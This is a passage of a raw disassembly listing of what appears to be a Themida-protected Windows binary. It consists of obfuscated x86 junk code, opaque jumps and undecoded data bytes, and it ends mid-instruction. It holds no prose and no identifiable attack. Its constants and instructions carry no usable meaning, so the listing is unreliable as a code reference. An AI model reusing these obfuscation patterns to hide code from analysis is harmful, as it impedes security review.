jmp loc_59AB08 ; --------------------------------------------------------------------------- loc_59A298: ; CODE XREF: Themida_:005A46FCj sub esi, ecx jmp loc_5A9F0A ; --------------------------------------------------------------------------- db 81h dd 783FDDCEh, 6D01E93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A2AA: ; CODE XREF: Themida_:005A565Bj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push eax push edi mov edi, 200CAC77h mov eax, edi pop edi push eax push esi mov esi, 3EBD15A8h sub [esp+4], esi pop esi pop edi add edi, 3EBD15A8h pop eax jmp loc_59FCA5 ; --------------------------------------------------------------------------- loc_59A2E1: ; CODE XREF: Themida_:005A3B73j sub ebp, 0D7A68956h mov edx, ebp jmp loc_598D8F ; --------------------------------------------------------------------------- loc_59A2EE: ; CODE XREF: Themida_:0059D1E6j add eax, 0BA033389h mov ecx, eax mov eax, [esp] add esp, 4 xor ecx, 0BD84CE7Eh xor ebx, ecx pop ecx jmp loc_59B78D ; --------------------------------------------------------------------------- dd 33242C31h, 248B242Ch, 68C80F24h, 7B71h, 0E9240489h dd 0FFFFE67Fh ; --------------------------------------------------------------------------- loc_59A324: ; CODE XREF: Themida_:005A9364j add esp, 4 push ecx mov ecx, 0BBA6D61h push ebx mov ebx, 0C681264h and ebx, 2CF1337Fh and ebx, 72455ACAh shr ebx, 2 sub ebx, 6E665016h add ebx, 0D410A501h or ecx, ebx pop ebx jmp loc_59B21D ; --------------------------------------------------------------------------- loc_59A356: ; CODE XREF: Themida_:005A0893j jnp loc_5A83E2 inc edi jle loc_5A0272 xor edi, 4CB74890h mov ecx, edi loc_59A36B: ; CODE XREF: Themida_:005A4A17j sub esi, edi pop edi add esi, 0CF80231h mov ebp, esi pop esi inc ebp jmp loc_5A3B9F ; --------------------------------------------------------------------------- loc_59A37D: ; CODE XREF: Themida_:005A5619j not ecx jmp loc_59D51F ; --------------------------------------------------------------------------- loc_59A384: ; CODE XREF: Themida_:005AED22j add esi, 7A4B35CFh pop edi xchg esi, [esp] mov esp, [esp] or ecx, ecx jz loc_5A8BB0 push 3D92h jmp loc_5AD723 ; --------------------------------------------------------------------------- db 89h dd 23BD242Ch, 3108236Bh, 95055DEFh, 0E950ED26h, 74BCh ; --------------------------------------------------------------------------- loc_59A3B8: ; CODE XREF: Themida_:005AC8C0j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5A98FF ; --------------------------------------------------------------------------- word_59A3C6 dw 31ADh ; DATA XREF: Themida_:005988C4o dd 0DBBE56D8h, 50DEAE3h, 140006C9h, 2F62B951h, 0FEE90304h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A3DF: ; CODE XREF: Themida_:005A65C7j pop edi dec ecx push ebp jmp loc_598B7F ; --------------------------------------------------------------------------- loc_59A3E7: ; CODE XREF: Themida_:0059AD83j add ebx, 4 jmp loc_59AF8C ; --------------------------------------------------------------------------- dw 0D701h dd 8B2434FFh, 0E9532414h, 4A6Dh ; --------------------------------------------------------------------------- loc_59A400: ; CODE XREF: Themida_:0059C85Aj shr eax, 3 push edi jmp loc_5A80DF ; --------------------------------------------------------------------------- aZsmp db ')пZИM╞',0 dd 240C8B00h, 6EB6E9h, 40286800h, 0E90000h, 810000C7h dd 0BA3513C9h, 0A6890F21h, 81FFFFF5h, 83D8B9C1h, 0E9CB893Dh dd 0FFFFF567h db 51h byte_59A43D db 50h, 68h, 0F8h ; DATA XREF: Themida_:005987F8o dd 89000013h, 0E868240Ch, 89000071h, 8850241Ch, 8BC788F0h dd 0C4832404h, 8BF98804h, 0C483241Ch, 1DE95204h, 5A000007h dd 0D7F7FA87h, 0D731FA31h, 5253FA31h, 55241C8Bh, 0C5815D54h dd 4, 4C581h, 2E90000h, 59000018h, 36B95155h, 895D7A71h dd 0ED8159CDh, 0E2926BC6h, 4F0DCD81h, 0BE56078Bh, 5CFF5529h dd 0CCE9F529h, 8900007Bh, 0EFE9243Ch db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A4B7: ; CODE XREF: Themida_:005A8802j mov ebx, 0CA30936h shl ebx, 1 jmp loc_5A280F ; --------------------------------------------------------------------------- db 0BFh dd 74632082h, 632086BAh, 5FFA3174h, 815AD189h, 19417FEAh dd 55CA0165h, 0FFEA5BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59A4E1: ; CODE XREF: Themida_:loc_5AFD09j inc ebx jp loc_59FA16 xor ebx, 73DA5DECh jmp loc_5A02AF ; --------------------------------------------------------------------------- db 57h db 0C6h, 0C7h, 0C0h ; --------------------------------------------------------------------------- loc_59A4F7: ; CODE XREF: Themida_:005AB393j pop ecx sub al, bl push dx mov dl, 0EFh jmp loc_59BF48 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 4D71BF24h, 0DFF742EDh, 8107E7C1h, 5F5737CFh dd 0E46E972h db 1, 0 ; --------------------------------------------------------------------------- loc_59A51E: ; CODE XREF: Themida_:005A4AE4j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59AFB9 ; --------------------------------------------------------------------------- loc_59A531: ; CODE XREF: Themida_:005A48E9j sub ecx, ebp pop ebp shl ecx, 8 jmp loc_5ACD5B ; --------------------------------------------------------------------------- dd 712AE9h, 0E9C18900h, 0A000h, 0E9241489h, 4421h ; --------------------------------------------------------------------------- loc_59A550: ; CODE XREF: Themida_:005A1149j ; Themida_:005ADBA2j jb loc_5AA53E inc edi xor edi, 2F753999h ja loc_5AE497 sub edi, 280B4690h jns loc_59B833 mov ah, dl mov edx, [esp] add esp, 4 add ebp, edi jmp loc_5AC6FC ; --------------------------------------------------------------------------- dw 0FCE9h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A583: ; CODE XREF: Themida_:0059B4CAj push ecx mov ecx, 719C7484h sub edx, ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5A1F43 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9243489h, 10F0Eh dword_59A5A4 dd 240C8B66h, 4EC81h, 3C890000h, 1B09E924h, 82E90000h ; DATA XREF: Themida_:00598914o dd 0FFFFFFE4h, 69E92434h db 34h, 1, 0 ; --------------------------------------------------------------------------- loc_59A5C3: ; CODE XREF: Themida_:005A17BDj pop ebp and ebp, 1FB828D9h xor ebp, 15A8281Dh add edi, 1D814882h add edi, ebp sub edi, 1D814882h pop ebp push ebx mov ebx, 77FB392Bh shr ebx, 2 sub ebx, 1DFECE46h sub edi, 0D3C53FEh jmp loc_5A7873 ; --------------------------------------------------------------------------- loc_59A5F9: ; CODE XREF: Themida_:0059A0CFj add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_5A9E9C ; --------------------------------------------------------------------------- loc_59A60F: ; CODE XREF: Themida_:0059EAEFj push 17DDh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_5ADCC8 ; --------------------------------------------------------------------------- loc_59A624: ; CODE XREF: Themida_:005A2CD8j dec edx xor edx, 77797FCAh jmp loc_5A3187 ; --------------------------------------------------------------------------- dd 0E8280A04h, 113DAE9h db 0 ; --------------------------------------------------------------------------- loc_59A639: ; CODE XREF: Themida_:005A091Ej push ecx mov ecx, 43AC6259h neg ecx ja loc_59C5A6 jmp loc_5A97CA ; --------------------------------------------------------------------------- loc_59A64C: ; CODE XREF: Themida_:0059CD90j pop esp add ebx, 7A6666DCh add ebx, 3F892558h jmp loc_5A2005 ; --------------------------------------------------------------------------- dw 0E5C1h dd 0E2C58103h, 534EA664h, 0B74964BBh, 81D3F71Eh, 41C743F3h dd 0BDD7E9C9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A67A: ; CODE XREF: Themida_:005AA24Fj push esi mov esi, 4 add edi, esi pop esi jmp loc_5AF7D0 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E1B7241Ch, 0C1E9F828h, 83000042h, 0C8704C1h dd 89515C24h, 0F0A3E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A6A6: ; CODE XREF: Themida_:005ACB24j mov si, [esp] jmp loc_5AC8C5 ; --------------------------------------------------------------------------- loc_59A6AF: ; CODE XREF: Themida_:005A4E84j pop eax pop dword ptr [esp] mov esp, [esp] push ecx push 60F14A59h pop ecx push esi mov esi, esp jmp loc_59A1B9 ; --------------------------------------------------------------------------- loc_59A6C5: ; CODE XREF: Themida_:005A89D8j sub ecx, 17D3A88Eh sub eax, 0E6E2D22h add eax, ecx add eax, 0E6E2D22h pop ecx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5A94C8 ; --------------------------------------------------------------------------- loc_59A6EB: ; CODE XREF: Themida_:005AC065j not bl xchg bl, al jmp loc_5AB7E6 ; --------------------------------------------------------------------------- loc_59A6F4: ; CODE XREF: Themida_:005AD504j mov ebp, 1978EDF4h xor edi, ebp pop ebp sub ebx, 2B04427Fh sub ebx, 538E3F63h add ebx, edi push 312Eh mov [esp], edx mov edx, 538E3F63h jmp loc_59F798 ; --------------------------------------------------------------------------- loc_59A71C: ; CODE XREF: Themida_:0059EB55j sub edi, 83319031h add eax, edi pop edi add eax, ecx sub eax, 103738A8h mov ecx, [esp] jmp loc_59D746 ; --------------------------------------------------------------------------- loc_59A734: ; CODE XREF: Themida_:005A0ECFj sub ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- byte_59A74B db 66h ; DATA XREF: Themida_:005987F4o db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5A13A3 ; --------------------------------------------------------------------------- aUsJ db 'UИ+j',0 db 0 ; --------------------------------------------------------------------------- loc_59A763: ; CODE XREF: Themida_:00598E7Aj mov cl, 8Ah sub cl, 0D9h shr cl, 7 push ax mov ah, 14h add cl, 0A6h add cl, ah jmp loc_5AFDF7 ; --------------------------------------------------------------------------- loc_59A779: ; CODE XREF: Themida_:0059DEEFj add edi, 4 jmp loc_59B1B8 ; --------------------------------------------------------------------------- loc_59A784: ; CODE XREF: Themida_:005A44B9j js loc_59BAB2 push eax mov al, 94h push ecx mov cl, 0DDh sub al, cl pop ecx xor bh, al loc_59A795: ; CODE XREF: Themida_:005A28CDj mov eax, esp jmp loc_5A1D6A ; --------------------------------------------------------------------------- loc_59A79C: ; CODE XREF: Themida_:005ADAF6j push ebp mov ebp, 7C3E1E08h push ecx mov ecx, 0C1E64986h add ebp, ecx pop ecx or esi, ebp jmp loc_5A5921 ; --------------------------------------------------------------------------- loc_59A7B2: ; CODE XREF: Themida_:005AB2ABj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5ACCEC ; --------------------------------------------------------------------------- loc_59A7CA: ; CODE XREF: Themida_:0059BC1Bj xor [esp], eax xor eax, [esp] jmp loc_5A7926 ; --------------------------------------------------------------------------- aVhgUtl4Sow db 'Vhё:⌠T▀4$ИOw',0 db 0 ; --------------------------------------------------------------------------- loc_59A7E3: ; CODE XREF: Themida_:0059C7D9j sub ecx, 306864DFh jmp loc_59EFDB ; --------------------------------------------------------------------------- loc_59A7EE: ; CODE XREF: Themida_:005AD00Fj pop ecx pop edx jmp loc_5A42FE ; --------------------------------------------------------------------------- db 5Eh, 81h, 0F6h dd 729845D0h, 815EF189h, 794660EFh, 0E0BA5218h, 8126E365h dd 28159FF2h, 6EAC15Ch, 30DE281h, 0F28101C6h, 255247FCh dd 5002E2C1h, 0DA53FCB8h, 0E9C2318Bh, 0B6C6h ; --------------------------------------------------------------------------- loc_59A830: ; CODE XREF: Themida_:0059FC49j and ebp, edx pop edx shl ebp, 2 sub ebp, 20001DE4h mov edx, ebp jmp loc_5AD8A4 ; --------------------------------------------------------------------------- loc_59A843: ; CODE XREF: Themida_:005A49A3j add ebx, ebp pop ebp add ebx, ebp push esi mov esi, 0B97451Eh sub ebx, esi pop esi sub ebx, 53355750h pop ebp push 37DEh jmp loc_5A5791 ; --------------------------------------------------------------------------- loc_59A862: ; CODE XREF: Themida_:005AEA7Fj add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebp jmp loc_5A0C10 ; --------------------------------------------------------------------------- loc_59A886: ; CODE XREF: Themida_:0059DFB0j pop eax jmp loc_59D83F ; --------------------------------------------------------------------------- dd 2461EE81h, 0D605CB02h, 566C5B08h, 13A48E9h db 0 ; --------------------------------------------------------------------------- loc_59A89D: ; CODE XREF: Themida_:005ACDC2j mov edx, 70CF126Eh add edx, 8F30ED96h sub edi, 4F10789h add edi, edx add edi, 4F10789h pop edx push ecx mov ecx, 4B5539FEh jmp loc_5A61B1 ; --------------------------------------------------------------------------- dw 0CFBBh dd 0F70A1E44h, 13EB81D3h, 0C17DD30Dh, 0E5E904EBh db 0Dh, 1, 0 ; --------------------------------------------------------------------------- loc_59A8D7: ; CODE XREF: Themida_:005A5655j mov esi, esp jmp loc_59ED78 ; --------------------------------------------------------------------------- loc_59A8DE: ; CODE XREF: Themida_:00599A56j sub edx, 0DA94AF3h push eax mov eax, 0F174F77h xor eax, 54040499h jmp loc_5A9C3B ; --------------------------------------------------------------------------- loc_59A8F4: ; CODE XREF: Themida_:005A4BB5j xor esi, 3942637Fh sub eax, esi pop esi jmp loc_59C3D2 ; --------------------------------------------------------------------------- word_59A902 dw 6F68h ; DATA XREF: Themida_:00598878o dd 89000003h, 0F5E92414h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A90F: ; CODE XREF: Themida_:005AEAF9j pop edi jmp loc_59FC43 ; --------------------------------------------------------------------------- loc_59A915: ; CODE XREF: Themida_:0059CF9Cj sub esp, 4 mov [esp], eax jmp loc_59CD95 ; --------------------------------------------------------------------------- loc_59A923: ; CODE XREF: Themida_:005A3999j mov eax, [esp] add esp, 4 push edi mov edi, 2F157F5h jmp loc_59A16F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE067h ; --------------------------------------------------------------------------- loc_59A93C: ; CODE XREF: Themida_:005A87B1j xor edi, esi pop esi xor edi, 8DC7665h mov ebx, edi jmp loc_5AF0F5 ; --------------------------------------------------------------------------- dd 7E1AEDBFh, 0E9F901FAh, 1831h, 1037890Fh, 0E22D0000h dd 898CE937h, 24048BC6h, 4C481h, 0BE680000h, 89000027h dd 0E9242Ch, 0BD000000h, 0EF37E161h, 3E55E9h, 5DE82900h dd 624FBF57h, 0D368615Bh, 89000044h, 14E92404h db 0D7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A99B: ; CODE XREF: Themida_:0059FAEEj pop eax mov edx, 55155654h xor edx, eax pop eax push ebp push ecx mov ecx, 387970FAh mov ebp, ecx mov ecx, [esp] add esp, 4 xor ebp, 4D82555Bh jmp loc_59D79B ; --------------------------------------------------------------------------- dw 0D7F7h dd 8CEF781h, 0CF81315Ch, 2DB65AD5h, 0C51BE9h db 0 byte_59A9D1 db 0FFh, 77h, 40h ; DATA XREF: Themida_:005987FCo dd 0FFDFCAE9h, 0B4E941FFh db 3 dup(0) ; --------------------------------------------------------------------------- loc_59A9DF: ; CODE XREF: Themida_:0059D08Fj sub dword ptr [esp], 603B7E05h pop esi jmp loc_5A0718 ; --------------------------------------------------------------------------- dd 6F74CA81h, 0C2814048h, 46F702C2h, 148BD601h, 4C48324h dd 0E952CE01h, 0F817h, 0E9805A5Bh, 0D29BE9F0h, 28050000h dd 890B3715h, 6CE958C6h db 0Ch, 1, 0 ; --------------------------------------------------------------------------- loc_59AA1F: ; CODE XREF: Themida_:005A135Ej sub edx, 6E7A051Fh pop ecx shl edx, 5 push 4F82h mov [esp], esi push edx jmp loc_59ED58 ; --------------------------------------------------------------------------- loc_59AA37: ; CODE XREF: Themida_:005A228Aj sub eax, edx sub eax, 16B87547h pop edx push dword ptr [esp] pop ebp add esp, 4 movzx ax, byte ptr [eax] push small 3922h jmp loc_5AF54E ; --------------------------------------------------------------------------- loc_59AA56: ; CODE XREF: Themida_:0059D963j add ah, 3Fh jmp loc_5A383C ; --------------------------------------------------------------------------- loc_59AA5E: ; CODE XREF: Themida_:005AE4C2j xor ebx, eax jmp loc_59DC28 ; --------------------------------------------------------------------------- loc_59AA65: ; CODE XREF: Themida_:0059D4EBj pop esp mov [esp], ecx push 5175h mov [esp], esp add dword ptr [esp], 4 pop ecx push ebp jmp loc_59E2A9 ; --------------------------------------------------------------------------- loc_59AA7C: ; CODE XREF: Themida_:005ABF82j jmp loc_598E11 ; --------------------------------------------------------------------------- db 59h, 2 dup(0E9h) db 6, 1, 0 ; --------------------------------------------------------------------------- loc_59AA87: ; CODE XREF: Themida_:005A1B7Fj inc ebx jns loc_598D97 jmp loc_59C282 ; --------------------------------------------------------------------------- db 0C1h dd 4BE906E9h, 59000055h, 117E7E9h, 2C895C00h, 2474FF24h dd 242C8B04h, 706DE9h db 0 ; --------------------------------------------------------------------------- loc_59AAB1: ; CODE XREF: Themida_:0059FDABj pop edi jmp loc_5A7E47 ; --------------------------------------------------------------------------- loc_59AAB7: ; CODE XREF: Themida_:0059AFCFj sub dl, 3Bh push ax mov ah, 0B7h or dl, ah jmp loc_5ADA61 ; --------------------------------------------------------------------------- loc_59AAC5: ; CODE XREF: Themida_:005A1B05j ; Themida_:005A398Cj xchg edx, ebx inc ebx jns loc_5A7C9D not ebx push ecx mov ecx, 0D953D005h add ebx, ecx pop ecx mov [ecx], ebx mov ebx, [esp] add esp, 4 pop ecx popa popf retn ; --------------------------------------------------------------------------- db 0E9h, 8Eh, 0D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59AAEA: ; CODE XREF: Themida_:005A770Dj push 1429h jmp loc_59B349 ; --------------------------------------------------------------------------- loc_59AAF4: ; CODE XREF: Themida_:005A79AEj mov [esp], edi push ebx push ecx mov ecx, 4D101063h mov ebx, 0C3B839A5h jmp loc_5AEA0A ; --------------------------------------------------------------------------- loc_59AB08: ; CODE XREF: Themida_:0059A293j mov ebx, 4 add edi, ebx pop ebx jmp loc_5A37E0 ; --------------------------------------------------------------------------- loc_59AB15: ; CODE XREF: Themida_:005A3C3Aj add esi, 543DF0B0h add ebx, esi pop esi jmp loc_5AB62C ; --------------------------------------------------------------------------- loc_59AB23: ; CODE XREF: Themida_:005AD5FDj add al, 0F9h add al, dl sub al, 0F9h pop dx sub al, 8Bh add al, ch add al, 8Bh jmp loc_5AE0B6 ; --------------------------------------------------------------------------- loc_59AB36: ; CODE XREF: Themida_:0059DBC6j mov eax, 39192449h neg eax add eax, 686706B9h push ecx mov ecx, 5CA79E6Dh xor eax, ecx pop ecx add ebx, eax mov eax, [esp] jmp loc_5A3818 ; --------------------------------------------------------------------------- loc_59AB55: ; CODE XREF: Themida_:0059E121j pop ebp push dword ptr [esp] pop edi add esp, 4 sub ebx, 6ED40959h add ebx, 312E4B4Ah jmp loc_59C430 ; --------------------------------------------------------------------------- loc_59AB71: ; CODE XREF: Themida_:005AB151j and esi, 67EF454Eh xor esi, 5A8F4E3Bh sub edx, esi jmp loc_59F6F1 ; --------------------------------------------------------------------------- dd 0D488CA88h, 8124148Bh, 4C4h, 240C8B00h, 245968h, 243C8900h dd 0C781E789h, 4, 4BE56h, 0F7010000h, 8324348Bh, 0FF5704C4h dd 0E9042474h, 10D17h ; --------------------------------------------------------------------------- loc_59ABBC: ; CODE XREF: Themida_:005A4B08j push ecx mov ecx, esp jmp loc_5A883E ; --------------------------------------------------------------------------- loc_59ABC4: ; CODE XREF: Themida_:005A013Dj ; Themida_:005A41E2j pop esi sub ebp, 1191A15h sub ebp, eax add ebp, 1191A15h jmp loc_5A8A47 ; --------------------------------------------------------------------------- dd 0BD242C89h, 60694804h, 0FF5DE801h, 0E95D2434h, 0FDB8h ; --------------------------------------------------------------------------- loc_59ABEC: ; CODE XREF: Themida_:005A10C6j sub ebx, 0F413C86h push ebp push ecx mov ecx, 50C563B4h sub ecx, 76584375h jle loc_5A2A50 sub ecx, 218C4AE7h or ecx, 758692Bh pop eax loc_59AC12: ; CODE XREF: Themida_:0059E697j sub ebx, 526348FCh add edi, ebx pop ebx sub esp, 4 mov [esp], edx mov edx, 160D7CA6h not edx jmp loc_5A0E28 ; --------------------------------------------------------------------------- loc_59AC30: ; CODE XREF: Themida_:005AE634j push ebx mov ebx, 18FE39FBh jmp loc_59F246 ; --------------------------------------------------------------------------- loc_59AC3B: ; CODE XREF: Themida_:005A7B3Cj xor ecx, [esp] jmp loc_5ADC2E ; --------------------------------------------------------------------------- loc_59AC43: ; CODE XREF: Themida_:005A248Bj pop ebp mov ecx, edi mov edi, [esp] add esp, 4 sub ecx, 108B0CE6h xor ecx, 772B17BAh add edx, 7E4549A7h jmp loc_5A3C82 ; --------------------------------------------------------------------------- db 53h dd 0F780D0B7h, 31CEE90Eh db 1, 0 ; --------------------------------------------------------------------------- loc_59AC6E: ; CODE XREF: Themida_:005A00BAj sub esp, 4 mov [esp], edi mov edi, 72F00C0h add eax, edi mov edi, [esp] add esp, 4 xor eax, 73F7B28Fh add ebx, 615260DBh sub ebx, 2AD240D1h add ebx, eax add ebx, 2AD240D1h sub ebx, 615260DBh mov eax, [esp] add esp, 4 push edi mov edi, 4 add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx jmp loc_5AD6CB ; --------------------------------------------------------------------------- dd 6A8AF181h, 66E91865h, 33000054h, 1C31241Ch, 241C3324h dd 1C47095Ch, 0E92434FFh, 0BECFh ; --------------------------------------------------------------------------- loc_59ACE0: ; CODE XREF: Themida_:005A0478j mov [esp], ebp jmp loc_59F2DB ; --------------------------------------------------------------------------- loc_59ACE8: ; CODE XREF: Themida_:005A580Dj mov eax, 52FF1E7Fh or eax, 1C9D7902h add eax, 4FF62795h jmp loc_5A1D8E ; --------------------------------------------------------------------------- dd offset dword_60AA68 dd 24148900h, 2E72BE56h, 0E95EB2h, 81000000h, 0AB0BF1EEh dd 2B890F31h, 81000134h, 2F34D4E6h, 6E8D0F20h, 580000CDh ; --------------------------------------------------------------------------- loc_59AD28: ; CODE XREF: Themida_:0059F6A8j add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_5ADFDB ; --------------------------------------------------------------------------- dw 8156h dd 4ECh, 241C8900h, 58685756h, 5F501D3Eh, 4EF8F781h, 0FE893943h dd 9E53E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59AD56: ; CODE XREF: Themida_:005A5F6Aj and edi, 0BF17D5Dh jmp loc_5A3FB1 ; --------------------------------------------------------------------------- aZs db 'ZИ!ч',0 db 0 ; --------------------------------------------------------------------------- loc_59AD67: ; CODE XREF: Themida_:0059FD30j sub edx, edi add edx, 36775A5h mov edi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_59CBD5 ; --------------------------------------------------------------------------- loc_59AD80: ; CODE XREF: Themida_:005A278Bj ; Themida_:005A6D5Dj push ebx mov ebx, esp jmp loc_59A3E7 ; --------------------------------------------------------------------------- loc_59AD88: ; CODE XREF: Themida_:005A82D2j pop esi jmp loc_5AFAC0 ; --------------------------------------------------------------------------- loc_59AD8E: ; CODE XREF: Themida_:00598DEEj mov eax, [esp] jmp loc_5A9919 ; --------------------------------------------------------------------------- loc_59AD96: ; CODE XREF: Themida_:0059C8AAj pop ecx add esp, 4 add ebx, 11C94550h add ebx, 160D733Bh add ebx, eax sub ebx, 160D733Bh push ecx push edx jmp loc_5A58D0 ; --------------------------------------------------------------------------- db 1, 0CAh, 59h dd 0E9241487h, 2D42h ; --------------------------------------------------------------------------- loc_59ADC0: ; CODE XREF: Themida_:0059F635j push eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59ADC7: ; CODE XREF: Themida_:0059E278j and edi, edx pop edx jmp loc_5A0033 ; --------------------------------------------------------------------------- loc_59ADCF: ; CODE XREF: Themida_:0059FC64j xor ecx, 11BCCD48h add esi, ecx pop ecx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx push ebx mov bh, 0E7h jmp loc_599338 ; --------------------------------------------------------------------------- loc_59ADEC: ; CODE XREF: Themida_:005A73E7j xor esi, edx pop edx add ebx, esi jmp loc_5A4C3A ; --------------------------------------------------------------------------- loc_59ADF6: ; CODE XREF: Themida_:005A543Aj mov edx, 2 mov ecx, edx mov edx, [esp] add esp, 4 jmp loc_5AF1EF ; --------------------------------------------------------------------------- loc_59AE08: ; CODE XREF: Themida_:0059D741j pop ebx sub edx, 94A08EBh jmp loc_5AF911 ; --------------------------------------------------------------------------- loc_59AE14: ; CODE XREF: Themida_:005AFA50j jnp loc_59DBA5 xor ebp, 2C2365F3h and ebp, 12C24932h shl ebp, 8 and ebp, 22061D26h xor ebp, 798C0404h sub ebp, 1046C984h add edi, ebp pop ebp add edi, ecx sub edi, 6B454A80h mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], esi push 2 mov esi, [esp] add esp, 4 sub edi, 0FAD7AF2h jmp loc_5A1646 ; --------------------------------------------------------------------------- loc_59AE7B: ; CODE XREF: Themida_:005AD53Ej or eax, 1FAD363Ah and eax, 19255280h sub eax, 0C9B449C4h sub edi, eax pop eax push dword ptr [esp] pop ebx add esp, 4 push ecx push edx jmp loc_59C51C ; --------------------------------------------------------------------------- loc_59AE9E: ; CODE XREF: Themida_:005A8516j pop eax add esp, 4 push ebp sub esp, 4 push 6B70h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], ebx jmp loc_59BCD7 ; --------------------------------------------------------------------------- loc_59AEDA: ; CODE XREF: Themida_:0059FEB5j push dword ptr [esp+4] jmp loc_59CEA6 ; --------------------------------------------------------------------------- loc_59AEE3: ; CODE XREF: Themida_:00598C00j add ebx, eax jmp loc_5A8CC3 ; --------------------------------------------------------------------------- loc_59AEEA: ; CODE XREF: Themida_:005ABD1Cj mov ebx, edx pop edx jmp loc_5ADCF0 ; --------------------------------------------------------------------------- loc_59AEF2: ; CODE XREF: Themida_:005A6F2Dj pop edx add edx, 0EB50E4h pop ebp push ebx mov ebx, 61361196h sub ebp, ebx pop ebx sub ebp, 5ED860DAh add ebp, edx jmp loc_5992D6 ; --------------------------------------------------------------------------- loc_59AF10: ; CODE XREF: Themida_:005AAA24j add ebp, ebx add ebp, 3D9000F3h pop ebx jmp loc_59E220 ; --------------------------------------------------------------------------- loc_59AF1E: ; CODE XREF: Themida_:0059F856j add ebp, 4767FB1Bh push edi mov edi, 24EC77DBh and edi, 1959523Fh and edi, 74751703h or edi, 96C6E50h inc edi sub edi, 0E59B4E17h xor ebp, edi pop edi xor ebp, 68E87FE7h sub ebp, 6A7420DDh xor ebp, 0FE75503Dh add ecx, ebp pop ebp xchg ecx, [esp] jmp loc_5A8CA9 ; --------------------------------------------------------------------------- loc_59AF63: ; CODE XREF: Themida_:005A7914j pop ebx jmp loc_59D922 ; --------------------------------------------------------------------------- db 5Ch, 57h, 0FFh dd 5F042474h, 8B24048Fh, 34FF2424h, 24048B24h, 4C481h dd 0CF680000h, 0E9000071h, 0CED6h ; --------------------------------------------------------------------------- loc_59AF8C: ; CODE XREF: Themida_:0059A3EDj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A8E1B ; --------------------------------------------------------------------------- loc_59AF9B: ; CODE XREF: Themida_:0059CA62j add esp, 4 shr eax, 4 jmp loc_5A3F8B ; --------------------------------------------------------------------------- byte_59AFA9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00598948o dd 6659669Dh, 9C2414D3h, 0FFD9EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_59AFB9: ; CODE XREF: Themida_:0059A52Cj xchg ecx, [esp] mov esp, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_5A45A9 ; --------------------------------------------------------------------------- loc_59AFCD: ; CODE XREF: Themida_:005ADD2Ej neg dl jmp loc_59AAB7 ; --------------------------------------------------------------------------- loc_59AFD4: ; CODE XREF: Themida_:005AAE34j push edi mov edi, 4 jmp loc_5A07BB ; --------------------------------------------------------------------------- loc_59AFDF: ; CODE XREF: Themida_:005A90D6j and esi, 1A403F7Ah jmp loc_5A9256 ; --------------------------------------------------------------------------- loc_59AFEA: ; CODE XREF: Themida_:005AF32Fj add esp, 2 sub ch, 0FFh and ch, 3Ah dec ch jmp loc_5AF4FE ; --------------------------------------------------------------------------- loc_59AFFD: ; CODE XREF: Themida_:005AC2C9j ; Themida_:005AE1FDj jmp loc_59F1F3 ; --------------------------------------------------------------------------- loc_59B002: ; CODE XREF: Themida_:005AF0E9j push ebx push edx pop ebx pop edx jmp loc_59EDFD ; --------------------------------------------------------------------------- loc_59B00B: ; CODE XREF: Themida_:005A8A8Aj jmp loc_59F2FF ; --------------------------------------------------------------------------- loc_59B010: ; CODE XREF: Themida_:005AD069j shr edx, 1 jmp loc_5A20E8 ; --------------------------------------------------------------------------- db 45h dd 4DBE880Fh, 0BF570000h, 3F373278h, 5705E7C1h, 0FFF03AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B02D: ; CODE XREF: Themida_:005A67EFj jno loc_598AA6 and edi, 35C641F7h js loc_59E3D7 mov ecx, edi loc_59B041: ; CODE XREF: Themida_:0059E02Bj pop esp mov [esp], ecx mov cl, 2 sub cl, 0F7h jmp loc_5AA6F8 ; --------------------------------------------------------------------------- loc_59B04F: ; CODE XREF: Themida_:005A2BBAj sub esp, 4 mov [esp], ebx push ecx push eax mov ah, 0D1h mov ch, ah pop eax sub ch, 0B9h push edx push ebx mov bl, ch mov 